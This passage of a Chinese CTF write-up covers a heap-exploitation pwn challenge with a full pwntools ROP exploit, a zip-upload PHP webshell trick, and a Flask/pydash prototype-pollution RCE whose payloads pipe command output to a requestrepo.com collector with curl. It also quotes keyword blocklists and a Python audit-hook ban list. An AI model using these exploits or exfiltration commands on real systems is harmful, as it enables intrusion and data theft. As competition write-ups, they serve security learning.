    cmd(3)

#显示感染文件
def display_infiles():
    cmd(4)
  
def query_infiles(tezheng_mazhi):
    cmd(5)
    io.sendlineafter(b": ",tezheng_mazhi)

def display_logs():
    cmd(7)

def add_files(num,name,content):
    cmd(8)
    io.sendlineafter(b":",str(num))
    io.sendlineafter(b"\n",name)
    io.sendlineafter(b"\n",content)

def display_files():
    cmd(9)

SU_text

✨ 分析

checksec 查看。保护全开

IDA 分析。部分函数已重命名

向 buf 中输入最多 0xfff 个字节,随后逐字节去解析。解析第一个字节,如果是 1 则进入 add_delete,如果是 2 则进入 show_edit

沙箱中允许了这些,一看就知道最后是利用 orw 获取 flag

add_delete 函数中,继续解析一字节,如果是 0x10,进入 add,如果是 0x11,进入 delete

add 中创建 chunk,不能太大也不能太小,显然是 largebin attack

delete 函数正常

首先解析一字节,是要操作 chunk 的 index,继续解析一字节,如果是 0x10,进入 mov_show,如果是 0x11,进入 xor_or

mov_show 这里有一些操作,与 vm 很像。值得看的是 a1_mov1

将 chunk+a1 位置的一个值赋值为一个自己输入的值

show 可以泄露信息,可以用来泄露 libcbase,elfbase,stack,heap

xor_or 函数中也有一堆类似 vm 的操作

这些操作都是逐字节完成,在进行这些操作后,就会将 a2 指针加 1

而之前 a1_mov1 中 a1 有限制,不能超过那个 chunk 的大小,但是是以 a2 为基准的,通过上面的 xor 操作增加 a2 指针后,并没有对 a2 指针进行归位操作,就导致 a2+a1 可以超过 chunk 大小,来到下一个 chunk,将下一个 chunk 中的地址赋值为想要的地址,就导致了堆溢出

所以可以 largebin attack,修改 mp_.tcache_bins 为一个大值,再利用 tcache attack 修改栈上的返回地址完成 orw 利用

✨ 解题

先是定义一些函数,方便后续利用

然后 add 了两个 chunk,上面那个 chunk 是为了后面改下面那个 chunk 创建的。同时创建 chunk 也是为了能够 show,因为 show 需要先有一个 chunk

下面就是一些 show,狠狠地 show 出 stack,show 出 heap,show 出 libcbase

0x250000 是远程的那个段到_rtld_global 段的距离,我本地是 0x3b000,这个 blind 很简单,只需要往大写,然后就会 show 不出来,缩小,直到能 show 出来,就是_rtld_global 段

从图里可以看到偏移

从_rtld_global 开始正向偏移有堆和栈

负向偏移有 libc

接下来正常构造 largebin attack

利用 xor 增加 chunk 的指针,以完成溢出,修改 largebin 第四个字段为想要修改的 mp_.tcache_bins – 0x20 地址

完成 largebin attack,接下来是 tcache attack

释放两个 chunk 进 tcache,fd 修改为 stack

取出来后,chunk 就来到了栈上,修改返回地址,完成 rop,需要注意一下的是这里将栈降低了很多,因为在返回地址附近由于其他函数会修改 canary 等等报错

✨exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
from pwn import *

filename = './pwn'

debug = 1
if debug:
    io = remote('1.95.76.73', 10010)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

def add(index, size):
    io.sendafter('bytes):\n', b'\x01\x10' + bytes([index]) + p32(size) + b'\x03')

def delete(index):
    io.sendafter('bytes):\n', b'\x01\x11' + bytes([index]) + b'\x03')

def show(index, index2):
    io.sendafter('bytes):\n', b'\x02' + bytes([index]) + b'\x10\x16' + p32((0xffffffff + index2 + 1) & 0xffffffff) + b'\x00' + b'\x03')

libc = ELF('./libc.so.6')

add(9, 0x418)
add(0, 0x428)

show(0, 0x250000 + 0x12c8) #0x250000 #0x3b000

stack = u64(io.recv(6).ljust(8, b'\0')) - 0x160
success('stack =>> ' + hex(stack))

show(0, 0x250000 + 0x1290) #0x250000 #0x3b000

heap = u64(io.recv(6).ljust(8, b'\0'))
success('heap =>> ' + hex(heap))

show(0, 0x250000 - 0x5f8)
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0xad640
success('libcbase =>> ' + hex(libcbase))
mp_tcache_bins = libcbase + 0x2031e8
read = libcbase + libc.sym['read']
ret = libcbase + 0x2882f
rax = libcbase + 0xdd237
rdi = libcbase + 0x10f75b
rsi = libcbase + 0x110a4d
rbx = libcbase + 0x586d4
rdx = libcbase + 0xb0123 mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret
syscall = read + 15

add(1, 0x500)
add(2, 0x418)

delete(0)
add(3, 0x500)

delete(2)

io.sendafter('bytes):\n', b'\x02' + bytes([9]) + (b'\x11\x12' + p32(0) + p32(0)) * 10 + b'\x10\x14' + p32(0x410) + p64(mp_tcache_bins - 0x20) + b'\x00' + b'\x03')

add(4, 0x500)

add(5, 0x500)
add(6, 0x500)
delete(4)
delete(6)

io.sendafter('bytes):\n', b'\x02' + bytes([5]) + (b'\x11\x12' + p32(0) + p32(0)) * 0x40 + b'\x10\x14' + p32(0x410) + p64(((heap + 0x2350) >> 12) ^ (stack - 0x108)) + b'\x00' + b'\x03')

add(7, 0x500)
add(8, 0x500)

payload = b'\x02' + bytes([8]) + b'\x10\x14' + p32(0) + b'./flag\x00\x00'
payload +=  b'\x10\x14' + p32(0x108) + p64(rdi)
payload +=  b'\x10\x14' + p32(0x110) + p64(stack - 0x108)
payload +=  b'\x10\x14' + p32(0x118) + p64(rsi)
payload +=  b'\x10\x14' + p32(0x120) + p64(0)
payload +=  b'\x10\x14' + p32(0x128) + p64(rax)
payload +=  b'\x10\x14' + p32(0x130) + p64(2)
payload +=  b'\x10\x14' + p32(0x138) + p64(syscall)
payload +=  b'\x10\x14' + p32(0x140) + p64(rdi)
payload +=  b'\x10\x14' + p32(0x148) + p64(3)
payload +=  b'\x10\x14' + p32(0x150) + p64(rsi)
payload +=  b'\x10\x14' + p32(0x158) + p64(heap + 0x2a0)
payload +=  b'\x10\x14' + p32(0x160) + p64(rbx)
payload +=  b'\x10\x14' + p32(0x168) + p64(0x100)
payload +=  b'\x10\x14' + p32(0x170) + p64(rdx)
payload +=  b'\x10\x14' + p32(0x178) + p64(0)
payload +=  b'\x10\x14' + p32(0x180) + p64(0)
payload +=  b'\x10\x14' + p32(0x188) + p64(0)
payload +=  b'\x10\x14' + p32(0x190) + p64(rax)
payload +=  b'\x10\x14' + p32(0x198) + p64(0)
payload +=  b'\x10\x14' + p32(0x1a0) + p64(syscall)
payload +=  b'\x10\x14' + p32(0x1a8) + p64(rdi)
payload +=  b'\x10\x14' + p32(0x1b0) + p64(1)
payload +=  b'\x10\x14' + p32(0x1b8) + p64(rsi)
payload +=  b'\x10\x14' + p32(0x1c0) + p64(heap + 0x2a0)
payload +=  b'\x10\x14' + p32(0x1c8) + p64(rax)
payload +=  b'\x10\x14' + p32(0x1d0) + p64(1)
payload +=  b'\x10\x14' + p32(0x1d8) + p64(syscall)

io.sendafter('bytes):\n', payload + b'\x00')

io.interactive()

Web

photogallery

正常上传一次观察发包记录,有一个 unzip.php 文件,利用之前羊城杯时候的源码泄露漏洞获取源码

unzip.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<?php
error_reporting(0);

function get_extension($filename){
    return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
    $filePath = $path . DIRECTORY_SEPARATOR . $filename;
  
    if (is_file($filePath)) {
        $extension = strtolower(get_extension($filename));

        if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
            if (!unlink($filePath)) {
                // echo "Fail to delete file: $filename\n";
                return false;
                }
            else{
                // echo "This file format is not supported:$extension\n";
                return false;
                }
  
        }
        else{
            return true;
            }
}
else{
    // echo "nofile";
    return false;
}
}
function file_rename ($path,$file){
    $randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
                $oldPath = $path . DIRECTORY_SEPARATOR . $file;
                $newPath = $path . DIRECTORY_SEPARATOR . $randomName;

                if (!rename($oldPath, $newPath)) {
                    unlink($path . DIRECTORY_SEPARATOR . $file);
                    // echo "Fail to rename file: $file\n";
                    return false;
                }
                else{
                    return true;
                }
}

function move_file($path,$basePath){
    foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
        $destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
        if (!rename($file, $destination)){
            // echo "Fail to rename file: $file\n";
            return false;
        }
  
    }
    return true;
}


function check_base($fileContent){
    $keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
    $base64_keywords = [];
    foreach ($keywords as $keyword) {
        $base64_keywords[] = base64_encode($keyword);
    }
    foreach ($base64_keywords as $base64_keyword) {
        if (strpos($fileContent, $base64_keyword)!== false) {
            return true;

        }
        else{
           return false;

        }
    }
}

function check_content($zip){
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $fileInfo = $zip->statIndex($i);
        $fileName = $fileInfo['name'];
        if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
            return false; 
        }
            // echo "Checking file: $fileName\n";
            $fileContent = $zip->getFromName($fileName);
        

            if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
                // echo "Don't hack me!\n";  
                return false;
            }
            else {
                continue;
            }
        }
    return true;
}

function unzip($zipname, $basePath) {
    $zip = new ZipArchive;

    if (!file_exists($zipname)) {
        // echo "Zip file does not exist";
        return "zip_not_found";
    }
    if (!$zip->open($zipname)) {
        // echo "Fail to open zip file";
        return "zip_open_failed";
    }
    if (!check_content($zip)) {
        return "malicious_content_detected";
    }
    $randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
    $path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
    if (!mkdir($path, 0777, true)) {
        // echo "Fail to create directory";
        $zip->close();
        return "mkdir_failed";
    }
    if (!$zip->extractTo($path)) {
        // echo "Fail to extract zip file";
        $zip->close();
    }
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $fileInfo = $zip->statIndex($i);
        $fileName = $fileInfo['name'];
        if (!check_extension($fileName, $path)) {
            // echo "Unsupported file extension";
            continue;
        }
        if (!file_rename($path, $fileName)) {
            // echo "File rename failed";
            continue;
        }
    }
    if (!move_file($path, $basePath)) {
        $zip->close();
        // echo "Fail to move file";
        return "move_failed";
    }
    rmdir($path);
    $zip->close();
    return true;
}


$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploadedFile = $_FILES['file'];
    $zipname = $uploadedFile['tmp_name'];
    $path = $uploadDir;

    $result = unzip($zipname, $path);
    if ($result === true) {
        header("Location: index.html?status=success");
        exit();
    } else {
        header("Location: index.html?status=$result");
        exit();
    }
} else {
    header("Location: index.html?status=file_error");
    exit();
}

正常处理过后的文件名和路径无从得知,但是这里是先解压再移动,这里利用解压函数 ZipArchive 的超长文件名报错,让上传的文件在 upload/suimages/留下写 php 的文件

参考文章:https://twe1v3.top/2022/10/CTF%E4%B8%ADzip%E6%96%87%E4%BB%B6%E7%9A%84%E4%BD%BF%E7%94%A8/#%E5%88%A9%E7%94%A8%E5%A7%BF%E5%8A%BFonezip%E6%8A%A5%E9%94%99%E8%A7%A3%E5%8E%8B

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import zipfile
import io

mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
    zf.writestr('1.php', b"<?php print_r(glob(\"/*\")););?>")
    zf.writestr('A' * 5000, b'AAAAA')

with open("img.zip", "wb") as f:
    f.write(mf.getvalue())

然后读取

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import zipfile
import io

mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
    zf.writestr('1.php', b"<?php show_source(\"/seef1ag_getfl4g\");?>")
    zf.writestr('A' * 5000, b'AAAAA')

with open("img.zip", "wb") as f:
    f.write(mf.getvalue())

ezk8s on aliyun

读取一下源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import os

def list_current_directory():
    ## 获取当前目录路径
    current_directory = os.getcwd()
    print(f"当前目录路径: {current_directory}")
  
    ## 获取当前目录下的文件和文件夹
    items = os.listdir(current_directory)
  
    if not items:
        print("当前目录为空。")
    else:
        print("当前目录下的内容:")
        for item in items:
            ## 检查是文件还是文件夹
            item_type = "文件夹" if os.path.isdir(item) else "文件"
            print(f"{item_type}: {item}")

if __name__ == "__main__":
    list_current_directory()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import os

def read_main_py():
    file_name = "main.py"
    try:
        with open(file_name, "r", encoding="utf-8") as file:
            content = file.read()
            print(content)
    except Exception as e:
        print(f"读取文件时发生错误: {e}")

if __name__ == "__main__":
    read_main_py()

main.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from flask import Flask, render_template, request, url_for, flash, redirect
app = Flask(__name__)
import sys
import subprocess
import os

"""
HINT: RCE me! 
"""

INDEX_HTML = '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Python Executor</title>
</head>
<body>
   <h1>Welcome to PyExector</h1>

   <textarea id="code" style="width: 100%; height: 200px;" rows="10000" cols="10000" ></textarea>

   <button onclick="run()">Run</button>

    <h2>Output</h2>
    <pre id="output"></pre>

    <script>
        function run() {
            var code = document.getElementById("code").value;

            fetch("/run", {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    code: code
                })
            })
            .then(response => response.text())
            .then(data => {
                document.getElementById("output").innerText = data;
            });
        }
    </script>
</body>
</html>
'''

@app.route('/')
def hello():
    return INDEX_HTML

@app.route("/run", methods=["POST"])
def runCode():
    code = request.json["code"]
    cmd = [sys.executable,  "-i", f"{os.getcwd()}/audit.py"]
    p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
    return p.communicate(input=code.encode('utf-8'))[0]


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

audit.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import sys
DEBUG = False
def audit_hook(event, args):
    audit_functions = {
        "os.system": {"ban": True},
        "subprocess.Popen": {"ban": True},
        "subprocess.run": {"ban": True},
        "subprocess.call": {"ban": True},
        "subprocess.check_call": {"ban": True},
        "subprocess.check_output": {"ban": True},
        "_posixsubprocess.fork_exec": {"ban": True},
        "os.spawn": {"ban": True},
        "os.spawnlp": {"ban": True},
        "os.spawnv": {"ban": True},
        "os.spawnve": {"ban": True},
        "os.exec": {"ban": True},
        "os.execve": {"ban": True},
        "os.execvp": {"ban": True},
        "os.execvpe": {"ban": True},
        "os.fork": {"ban": True},
        "shutil.run": {"ban": True},
        "ctypes.dlsym": {"ban": True},
        "ctypes.dlopen": {"ban": True}
    }
    if event in audit_functions:
        if DEBUG:
            print(f"[DEBUG] found event {event}")
        policy = audit_functions[event]
        if policy["ban"]:
            strr = f"AUDIT BAN : Banning FUNC:[{event}] with ARGS: {args}"
            print(strr)
            raise PermissionError(f"[AUDIT BANNED]{event} is not allowed.")
        else:
            strr = f"[DEBUG] AUDIT ALLOW : Allowing FUNC:[{event}] with ARGS: {args}"
            print(strr)
            return

sys.addaudithook(audit_hook)

麻烦的沙箱绕过,不想看了,其实不用绕,打一个 SSRF 去找阿里云元数据

Ezblog

注册个 admin 进去读源码

app.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
from flask import *
import time, os, json, hashlib
from pydash import set_
from waf import pwaf, cwaf

## 创建 Flask 应用
app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()

## 初始化用户数据和文章数据
users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'
articles = {
    1: "articles/article1.txt",
    2: "articles/article2.txt",
    3: "articles/article3.txt"
}

## 友情链接数据
friend_links = [
    {"name": "bkf1sh", "url": "https://ctf.org.cn/"},
    {"name": "fushuling", "url": "https://fushuling.com/"},
    {"name": "yulate", "url": "https://www.yulate.com/"},
    {"name": "zimablue", "url": "https://www.zimablue.life/"},
    {"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]

## 用户类
class User:
    def __init__(self):
        pass

user_data = User()

## 路由:主页
@app.route('/')
def index():
    if 'username' in session:
        return render_template('blog.html', articles=articles, friend_links=friend_links)
    return redirect(url_for('login'))

## 路由:登录
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username] == password:
            session['username'] = username
            return redirect(url_for('index'))
        else:
            return "Invalid credentials", 403
    return render_template('login.html')

## 路由:注册
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        users[username] = password
        return redirect(url_for('login'))
    return render_template('register.html')

## 路由:修改密码
@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
    if 'username' not in session:
        return redirect(url_for('login'))
    if request.method == 'POST':
        old_password = request.form['old_password']
        new_password = request.form['new_password']
        confirm_password = request.form['confirm_password']
        if users[session['username']] != old_password:
            flash("Old password is incorrect", "error")
        elif new_password != confirm_password:
            flash("New passwords do not match", "error")
        else:
            users[session['username']] = new_password
            flash("Password changed successfully", "success")
            return redirect(url_for('index'))
    return render_template('change_password.html')

## 路由:友情链接
@app.route('/friendlinks')
def friendlinks():
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))
    return render_template('friendlinks.html', links=friend_links)

## 路由:添加友情链接
@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))
    name = request.form.get('name')
    url = request.form.get('url')
    if name and url:
        friend_links.append({"name": name, "url": url})
    return redirect(url_for('friendlinks'))

## 路由:删除友情链接
@app.route('/delete_friendlink/')
def delete_friendlink(index):
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))
    if 0 <= index < len(friend_links):
        del friend_links[index]
    return redirect(url_for('friendlinks'))

## 路由:文章详情
@app.route('/article')
def article():
    if 'username' not in session:
        return redirect(url_for('login'))
    file_name = request.args.get('file', '')
    if not file_name:
        return render_template('article.html', file_name='', content="未提供文件名。")

    ## 黑名单检查和路径检查
    blacklist = ["waf.py"]
    if any(blacklisted_file in file_name for blacklisted_file in blacklist):
        return render_template('article.html', file_name=file_name, content="大黑阔不许看")
    if not file_name.startswith('articles/'):
        return render_template('article.html', file_name=file_name, content="无效的文件路径。")
    if file_name not in articles.values() and session.get('username') != 'admin':
        return render_template('article.html', file_name=file_name, content="无权访问该文件。")

    ## 读取文件内容
    file_path = os.path.join(BASE_DIR, file_name).replace('../', '')
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
    except FileNotFoundError:
        content = "文件未找到。"
    except Exception as e:
        app.logger.error(f"Error reading file {file_path}: {e}")
        content = "读取文件时发生错误。"
    return render_template('article.html', file_name=file_name, content=content)

## 路由:管理面板
@app.route('/Admin', methods=['GET', 'POST'])
def admin():
    if request.args.get('pass') != "SUers":
        return "nonono"
    if request.method == 'POST':
        try:
            body = request.json
            if not body:
                flash("No JSON data received", "error")
                return jsonify({"message": "No JSON data received"}), 400

            key = body.get('key')
            value = body.get('value')
            if key is None or value is None:
                flash("Missing required keys: 'key' or 'value'", "error")
                return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400
            if not pwaf(key) or not cwaf(value):
                flash("Invalid key or value format", "error")
                return jsonify({"message": "Invalid key or value format"}), 400
            set_(user_data, key, value)
            flash("User data updated successfully", "success")
            return jsonify({"message": "User data updated successfully"}), 200
        except json.JSONDecodeError:
            flash("Invalid JSON data", "error")
            return jsonify({"message": "Invalid JSON data"}), 400
        except Exception as e:
            flash(f"An error occurred: {str(e)}", "error")
            return jsonify({"message": f"An error occurred: {str(e)}"}), 500
    return render_template('admin.html', user_data=user_data)

## 路由:登出
@app.route('/logout')
def logout():
    session.pop('username', None)
    flash("You have been logged out.", "info")
    return redirect(url_for('login'))

## 主程序
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

/Admin 路由下面有原型链污染,关于_set 方法示例

1
2
3
4
data = {"users": [{"name": "John"}, {"name": "Jane"}]}
set_(data, "users[1].name", "Alice")
print(data)
## 输出: {'users': [{'name': 'John'}, {'name': 'Alice'}]}

模板编译时的变量

flask 中如使用 render_template 渲染一个模板实际上经历了多个阶段的处理,其中一个阶段是对模板中的 Jinja 语法进行解析转化为 AST,而在语法树的根部即 Lib/site-packages/jinja2/compiler.pyCodeGenerator 类的 visit_Template 方法纯在一段有趣的逻辑

该逻辑会向输出流写入一段拼接的代码(输出流中代码最终会被编译进而执行),在生成代码的时候有一个可控变量 exported_names,他是 runtime(https://github.com/pallets/jinja/blob/main/src/jinja2/runtime.py#L45) 里面的一个数组,所以我们完全可以通过 pydash.set_() 来进行覆盖,从而达到 rce。该变量为 .runtime 模块(即 Lib/site-packages/jinja2/runtime.py)中导入的变量 exportedasync_exported 组合后得到,这就意味着我们可以通过污染 .runtime 模块中这两个变量实现 RCE。由于这段逻辑是模板文件解析过程中必经的步骤之一,所以这就意味着只要渲染任意的文件均能通过污染这两属性实现 RCE。

loader 被过滤

spec 内置属性在 Python 3.4 版本引入,其包含了关于类加载时的信息,本身是定义在 Lib/importlib/_bootstrap.py 的类 ModuleSpec,显然因为定义在 importlib 模块下的 py 文件,所以可以直接采用 <模块名>.__spec__.__init__.__globals__['sys'] 获取到 sys 模块

从 0 试到 2 发现 2 可以,最后的 payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests

url = "http://27.25.151.48:10005/Admin?pass=SUers"

json = {
    "key":"__init__.__globals__.globals.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2",
    "value":"*;__import__('os').system('l''s -al / | curl -d @- 1iqrzpth.requestrepo.com')"
}
print(requests.post(url,json=json).text)
print(requests.get(url).text)

然后/readflag,不理解为什么上面那个 import os 写法不行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests

url = "http://27.25.151.48:10005/Admin?pass=SUers"

json = {
    "key":"__init__.__globals__.globals.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2",
    "value":"*;import os;os.system('/readf''l''ag | curl -d @- 1iqrzpth.requestrepo.com')"
}
print(requests.post(url,json=json).text)
print(requests.get(url).text)

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计